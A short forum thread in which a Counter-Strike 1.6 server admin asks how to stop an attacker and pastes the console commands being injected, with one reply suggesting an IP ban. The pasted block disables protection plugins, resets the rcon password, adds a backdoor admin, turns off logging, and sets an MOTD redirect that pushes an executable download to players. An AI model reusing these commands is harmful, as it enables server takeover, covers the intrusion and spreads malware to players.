CS 1.6 Servers being hacked by www.raiz0.org . Any fix on how to stop it?

[ubermeister]

This is the format the hacker is forcefully writing/adding to our server

amxx pause rcon_defencer.amxx
amxx pause watfstarter.amxx
amxx pause rcon.amxx
amxx pause krond-functions.amxx
amxx pause forceds_cs_functions_lite_2.1
mapchangecfgfile maps.cfg
rcon_password x
hostname "Hacked by www.raiz0.org"
motdfile motd.txt
amx_cvar "rcon_password" "x"
motd_write <meta http-equiv="Refresh" content="0; url=http://raiz0.org/royal/explorer.exe">
amx_addadmin "STEAM_0:0:718437961" "abcdefghijklmnopqrstu"
log off
mp_logfile 0

Whoever is doing it is not actually in the game, but is somehow able to screw things up, resetting the map/server constantly and banning all other admins.

[Tito Shivan]

You may want to ask on the Tools & servers section of the discussions:
http://steamcommunity.com/discussions/#tools
In any case, banning the IP could do a quick solution until you get things solved.